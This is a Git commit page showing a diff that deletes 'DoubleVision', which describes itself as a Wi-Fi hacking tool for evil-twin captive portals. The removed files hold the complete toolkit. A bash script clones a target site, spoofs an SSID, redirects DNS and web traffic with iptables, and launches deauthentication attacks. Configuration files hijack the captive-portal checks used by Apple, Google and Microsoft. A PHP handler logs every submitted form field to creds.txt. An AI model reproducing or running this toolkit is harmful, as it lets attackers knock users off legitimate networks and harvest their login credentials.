Sfoglia il codice sorgente

Delete DoubleVision directory

assume-breach 3 anni fa
parent
commit
0296e4ffa0

+ 0 - 117
DoubleVision/DoubleVision.sh

@@ -1,117 +0,0 @@
-#!/bin/bash
-
-# Color variables
-red='\033[0;31m'
-green='\033[0;32m'
-yellow='\033[0;33m'
-blue='\033[0;34m'
-magenta='\033[0;35m'
-cyan='\033[0;36m'
-# Clear the color after that
-clear='\033[0m'
-cat << "EOF"
-  __ _ ___ ___ _   _ _ __ ___   ___      | |__  _ __ ___  __ _  ___| |__  
- / _` / __/ __| | | | '_ ` _ \ / _ \_____| '_ \| '__/ _ \/ _` |/ __| '_ \ 
-| (_| \__ \__ \ |_| | | | | | |  __/_____| |_) | | |  __/ (_| | (__| | | |
- \__,_|___/___/\__,_|_| |_| |_|\___|     |_.__/|_|  \___|\__,_|\___|_| |_|
-
-                            **Double Vision**
-
-            A Wifi Hacking Tool For Evil Twin Captive Portals
-
-                           Use At Your Own Risk
-EOF
-echo ""
-echo -e ${green}"Which interface do you want to use as your AP NIC? Example: wlan1"${clear}
-echo ""
-read AP
-echo""
-echo -e ${yellow}"Using $AP as your AP interface"${clear}
-echo ""
-sleep 1
-echo -e ${green}"Which interface do you want to use to deauth?"${clear}
-echo ""
-read DEAUTH
-echo ""
-echo -e ${yellow}"Bringing down $DEAUTH"${clear}
-echo ""
-sleep 1
-echo -e ${green}"What is the Wifi network you want to spoof? Example: Starbucks Wifi"${clear}
-echo ""
-read SSID
-echo ""
-echo -e ${yellow}"Using $SSID as your spoofed network"${clear}
-sleep 1
-echo ""
-echo -e ${green}"Enter Website URL To Clone. Example: https://starbucks.com"${clear}
-echo ""
-read URL
-echo ""
-echo -e ${yellow}"Cloning $URL"${clear}
-echo ""
-systemctl stop dnsmasq
-cp Resources/hostapd.conf . 2>/dev/null
-sed -i "s/AP/${AP}/g" hostapd.conf
-sed -i "s/SSID/${SSID}/g" hostapd.conf
-rm /etc/hostapd/hostapd.conf 2>/dev/null
-cp hostapd.conf /etc/hostapd/hostapd.conf
-/usr/bin/chromium-browser --no-sandbox 2>/dev/null
-runuser -u pi -- ./SingleFile/cli/single-file $URL --browser-executable-path=/usr/bin/chromium-browser /home/pi/index.html
-echo ""
-sleep 2
-echo -e ${yellow}"$URL Cloned Successfully"${clear}
-echo ""
-sleep 1
-echo -e ${green}"Moving Your Index.html File Into Apache"${clear}
-echo ""
-mv /home/pi/index.html /var/www/html/index.html
-echo -e ${green}"Starting Apache"${clear}
-service apache2 start
-sleep 1
-echo ""
-echo -e ${green}"Changing $AP MAC Address"${clear}
-echo ""
-ifconfig $AP down
-macchanger -A $AP
-sleep 1
-ifconfig $AP up
-sleep 1
-#echo -e ${green}"Starting DNS"${clear}
-#systemctl start dnsmasq
-echo ""
-echo -e ${green}"Configuring $AP Into An Access Point"${clear}
-echo ""
-hostapd -B /etc/hostapd/hostapd.conf
-sleep 2
-echo ""
-echo -e ${green}"Bringing Up The Bridge"${clear}
-echo ""
-ifconfig br0 up
-sleep 2
-ifconfig br0 10.1.1.1 netmask 255.255.255.0
-sysctl net.ipv4.ip_forward=1 2>/dev/null
-echo ""
-echo -e ${green}"Copying Redirect Into Cloned Page"${clear}
-echo ""
-echo "<meta http-equiv="refresh" content=2;URL='http://10.1.1.1/authenticate.html'>">> /var/www/html/index.html
-echo -e ${green}"Setting IPTables"${clear}
-echo ""
-iptables --flush
-iptables -t nat --flush
-iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
-iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.1.1.1:80
-iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:443
-iptables -t nat -A POSTROUTING -j MASQUERADE
-sleep 2
-echo -e ${green}"Starting DNS"${clear}
-service dnsmasq start
-sleep 4
-echo ""
-echo -e ${red}"Access Point Should Be Up. Time To Deauth"${clear}
-echo ""
-sleep 2
-echo -e ${red}"Press CTRL+B then press D to disconnect TMUX Session Once Deauth Is Started"${clear}
-echo ""
-sleep 2
-read -p "Press enter once you understand how to disconnect from the TMUX session"
-tmux new-session -s deauth 'cd PwrDeauther && sudo bash PwrDeauther.sh'

+ 0 - 53
DoubleVision/RPi3_4install.sh

@@ -1,53 +0,0 @@
-#!/bin/sh -e
-
-if [ "$(id -u)" != "0" ]; then
-   echo "Run as Root" 1>&2
-   exit 1
-fi
-
-sudo apt-get update -y && apt-get upgrade -y
-
-apt install npm -y
-
-git clone --depth 1 --recursive https://github.com/gildas-lormeau/SingleFile.git
-
-chown -R pi:pi SingleFile/
-
-cd SingleFile
-
-npm install
-
-cd cli
-
-chmod +x single-file
-
-cd ../../
-
-sudo apt install tmux apache2 iptables php dnsmasq apache2 dnsmasq-base python hostapd mdk4 macchanger pkg-config libnl-3-dev libnl-genl-3-dev libpcap-dev
--y
-
-git clone https://github.com/adamff24/PwrDeauther.git
-
-cp -f dnsmasq.conf /etc/
-
-cp -Rf html /var/www/
-
-chown -R www-data:www-data /var/www/html
-
-chown root:www-data /var/www/html/.htaccess
-
-chmod 777 /var/www/html/creds.txt
-
-cp -f override.conf /etc/apache2/conf-available/
-
-cd /etc/apache2/conf-enabled
-
-ln -s ../conf-available/override.conf override.conf
-
-cd /etc/apache2/mods-enabled
-
-ln -s ../mods-available/rewrite.load rewrite.load
-
-
-systemctl disable hostapd
-systemctl disable dnsmasq

+ 0 - 11
DoubleVision/Resources/deauth.sh

@@ -1,11 +0,0 @@
-#!/bin/bash
-echo ""
-echo -e ${green}"Deauthing BSSID"{clear}
-echo ""
-sleep 2
-echo -e ${yellow}"Use CTRL +B Then Press D To Detach From Session"${clear}
-echo ""
-sleep 2
-echo -e ${yellow}"Use tmux attach-session -t deauth To Come Back To This Session"${clear}
-echo ""
-mdk4 DEAUTH d -B BSSID

+ 0 - 19
DoubleVision/Resources/dnsmasq.conf

@@ -1,19 +0,0 @@
-interface=br0
-listen-address=10.1.1.1
-no-hosts
-dhcp-range=10.1.1.2,10.1.1.254,10m
-dhcp-option=option:router,10.1.1.1
-dhcp-authoritative
-
-address=/apple.com/10.1.1.1
-address=/appleiphonecell.com/10.1.1.1
-address=/airport.us/10.1.1.1
-address=/akamaiedge.net/10.1.1.1
-address=/akamaitechnologies.com/10.1.1.1
-address=/microsoft.com/10.1.1.1
-address=/msftncsi.com/10.1.1.1
-address=/msftconnecttest.com/10.1.1.1
-address=/google.com/10.1.1.1
-address=/gstatic.com/10.1.1.1
-address=/googleapis.com/10.1.1.1
-address=/android.com/10.1.1.1

+ 0 - 8
DoubleVision/Resources/hostapd.conf

@@ -1,8 +0,0 @@
-interface=AP
-channel=6
-hw_mode=g
-ssid=SSID
-bridge=br0
-auth_algs=1
-wmm_enabled=0
-

+ 0 - 7
DoubleVision/Resources/hosts

@@ -1,7 +0,0 @@
-127.0.0.1	localhost
-::1		localhost ip6-localhost ip6-loopback
-ff02::1		ip6-allnodes
-ff02::2		ip6-allrouters
-
-127.0.1.1	raspberrypi
-10.1.1.1	domain

+ 0 - 18
DoubleVision/Resources/index.html

@@ -1,18 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
-<html>
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
-<title>Directory listing for /Resources/</title>
-</head>
-<body>
-<h1>Directory listing for /Resources/</h1>
-<hr>
-<ul>
-<li><a href="deauth.sh">deauth.sh</a></li>
-<li><a href="dnsmasq.conf">dnsmasq.conf</a></li>
-<li><a href="hostapd.conf">hostapd.conf</a></li>
-<li><a href="hosts">hosts</a></li>
-</ul>
-<hr>
-</body>
-</html>

+ 0 - 19
DoubleVision/dnsmasq.conf

@@ -1,19 +0,0 @@
-interface=br0
-listen-address=10.1.1.1
-no-hosts
-dhcp-range=10.1.1.2,10.1.1.254,10m
-dhcp-option=option:router,10.1.1.1
-dhcp-authoritative
-
-address=/apple.com/10.1.1.1
-address=/appleiphonecell.com/10.1.1.1
-address=/airport.us/10.1.1.1
-address=/akamaiedge.net/10.1.1.1
-address=/akamaitechnologies.com/10.1.1.1
-address=/microsoft.com/10.1.1.1
-address=/msftncsi.com/10.1.1.1
-address=/msftconnecttest.com/10.1.1.1
-address=/google.com/10.1.1.1
-address=/gstatic.com/10.1.1.1
-address=/googleapis.com/10.1.1.1
-address=/android.com/10.1.1.1

+ 0 - 10
DoubleVision/html/.htaccess

@@ -1,10 +0,0 @@
-Redirect /library/test/success.html http://10.1.1.1/index.html
-Redirect /hotspot-detect.html http://10.1.1.1/index.html
-Redirect /ncsi.txt http://10.1.1.1/index.html
-Redirect /connecttest.txt /index.html
-Redirect /fwlink/ http://10.1.1.1/index.html
-Redirect /generate_204 http://10.1.1.1/index.html
-
-RewriteEngine on
-RewriteCond %{HTTP_USER_AGENT} ^CaptiveNetworkSupport(.*)$ [NC]
-RewriteRule ^(.*)$ http://10.1.1.1/index.html [L,R=301]

+ 0 - 4
DoubleVision/html/authenticate.html

@@ -1,4 +0,0 @@
-<!DOCTYPE html>
-</html>
-Redirecting To Single Sign-On Authentication...
-<meta http-equiv="refresh" content="4;URL='http://10.1.1.1/signin.html'">

+ 0 - 1
DoubleVision/html/creds.txt

@@ -1 +0,0 @@
-

+ 0 - 14
DoubleVision/html/post.php

@@ -1,14 +0,0 @@
-<?php
-header ('Location:http://10.1.1.1/sso.html');
-$handle = fopen("creds.txt", "a");
-foreach($_POST as $variable => $value) {
-   fwrite($handle, $variable);
-   fwrite($handle, "=");
-   fwrite($handle, $value);
-   fwrite($handle, "\r\n");
-}
-fwrite($handle, "\r\n");
-fclose($handle);
-exit;
-?>
-

+ 0 - 15
DoubleVision/html/redirect/index.html

@@ -1,15 +0,0 @@
-<!DOCTYPE HTML>
-<html lang="en-US">
-    <head>
-        <meta charset="UTF-8">
-        <meta http-equiv="refresh" content="0; url=http://10.1.1.1/index.html">
-        <script type="text/javascript">
-            window.location.href = "http://10.1.1.1/index.html"
-        </script>
-        <title>Loading Login Page</title>
-    </head>
-    <body>
-        <!-- Note: don't tell people to `click` the link, just tell them that it is a link. -->
-        If you are not redirected automatically, follow this <a href='http://10.1.1.1/index.html'>Login Page</a>.
-    </body>
-</html>

BIN
DoubleVision/html/securitytoken.exe


File diff suppressed because it is too large
+ 0 - 2
DoubleVision/html/signin.html


File diff suppressed because it is too large
+ 0 - 2
DoubleVision/html/sso.html


+ 0 - 6
DoubleVision/override.conf

@@ -1,6 +0,0 @@
-<Directory /var/www/>
-    Options Indexes FollowSymLinks MultiViews
-    AllowOverride All
-    Order Allow,Deny
-    Allow from all
-</Directory>

Some files were not shown because too many files changed in this diff